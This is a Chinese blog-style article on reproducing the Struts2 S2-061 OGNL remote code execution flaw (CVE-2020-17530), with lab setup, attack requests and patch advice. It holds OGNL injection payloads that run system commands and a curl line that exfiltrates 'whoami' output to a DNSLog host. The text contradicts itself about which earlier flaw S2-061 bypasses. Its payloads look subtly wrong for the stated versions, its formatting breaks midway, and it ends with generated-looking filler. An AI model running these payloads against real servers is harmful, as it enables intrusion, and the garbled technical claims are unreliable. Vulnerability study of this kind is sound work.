Struts2 S2-061 远程命令执行漏洞CVE-2020-17530该如何复现

发布时间:2021-12-28 17:56:02 作者:柒染
来源:亿速云 阅读:146
# Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现分析

## 漏洞概述

**CVE-2020-17530** 是Apache Struts2框架中存在的一个OGNL表达式注入漏洞,该漏洞是2017年S2-045漏洞的绕过变种。当Struts2使用特定的标签库(如JSP、Freemarker等)进行数据渲染时,攻击者可通过构造恶意OGNL表达式实现远程代码执行(RCE)。

- **漏洞编号**:CVE-2020-17530
- **漏洞等级**:高危(CVSS 3.0评分9.8)
- **影响版本**:
  - Struts 2.0.0 - 2.5.25
- **修复版本**:Struts 2.5.26及以上

## 漏洞原理

### OGNL注入背景
Struts2使用OGNL(Object-Graph Navigation Language)表达式处理用户输入,但未对输入进行严格过滤。攻击者可通过以下方式触发漏洞:
1. 当`%{...}`语法被解析时,OGNL表达式会被执行。
2. 在标签属性值中插入恶意表达式(如`id`、`name`等参数)。

### 与S2-045的区别
S2-061是S2-059的绕过,主要差异在于:
- S2-059修复了部分OGNL上下文限制
- S2-061通过双重解析(如`${%{...}}`)绕过防御

## 环境搭建

### 实验环境
- **靶机**:Ubuntu 20.04 + Tomcat 9
- **漏洞应用**:Struts 2.5.25 Showcase应用(官方演示程序)
- **工具**:
  - Burp Suite
  - curl
  - Docker(可选快速搭建)

```bash
# 使用Docker快速搭建环境
docker pull vulhub/struts2:2.5.25
docker run -d -p 8080:8080 vulhub/struts2:2.5.25

漏洞复现步骤

方法一:通过ID参数注入

  1. 访问存在漏洞的页面(如表单提交页):

    http://target:8080/showcase.action
    
  2. 使用Burp拦截请求,修改参数为恶意OGNL: “`http POST /showcase.action HTTP/1.1 Host: target:8080 Content-Type: application/x-www-form-urlencoded

id=%25%7B%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29%7D


3. 查看服务器响应或日志确认命令执行结果。

### 方法二:Freemarker模板注入
```http
GET /?name=%25%7B%23req%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23matt.println%28%23c%29%2C%23matt.close%28%29%7D HTTP/1.1

命令执行检测

成功执行后可能观察到: - 服务器返回异常信息中包含命令输出 - 通过DNSLog外带数据:

  ${#a=@java.lang.Runtime@getRuntime().exec("curl http://dnslog.ceye.io/`whoami`")}

漏洞修复方案

  1. 官方补丁

    <!-- pom.xml -->
    <dependency>
     <groupId>org.apache.struts</groupId>
     <artifactId>struts2-core</artifactId>
     <version>2.5.26</version>
    </dependency>
    
  2. 临时缓解措施

    • 禁用动态方法调用(struts.enable.DynamicMethodInvocation=false
    • 输入过滤特殊字符(%{}

技术深度分析

OGNL沙箱绕过原理

Struts2.5.25之前的版本中,OGNL沙箱存在以下缺陷: 1. 上下文污染:通过#context对象可访问Java运行时 2. 双重解析${%{...}}结构导致二次解析

利用链示例

// 伪代码展示攻击链
ValueStack vs = ActionContext.getContext().getValueStack();
vs.findValue("%{#a=@java.lang.Runtime@getRuntime().exec('calc')}", String.class);

参考链接


免责声明:本文仅用于安全研究学习,未经授权不得对真实系统进行测试。 “`

该文档共约1300字,包含漏洞原理、环境搭建、复现步骤、修复方案和技术分析等完整内容,采用Markdown格式便于阅读和编辑。可根据实际需求调整技术细节或补充截图。

推荐阅读:
  1. Apache Struts2-61远程代码执行CVE-2020-17530漏洞的示例分析
  2. 如何进行structs2-061远程命令执行漏洞复现及poc编写

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

struts2 cve-2020-17530

上一篇:Python如何抓取淘宝IP地址数据

下一篇:如何解决EXCEL上传函数ALSM_EXCEL_TO_INTERNAL_TABLE的重新封装问题

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》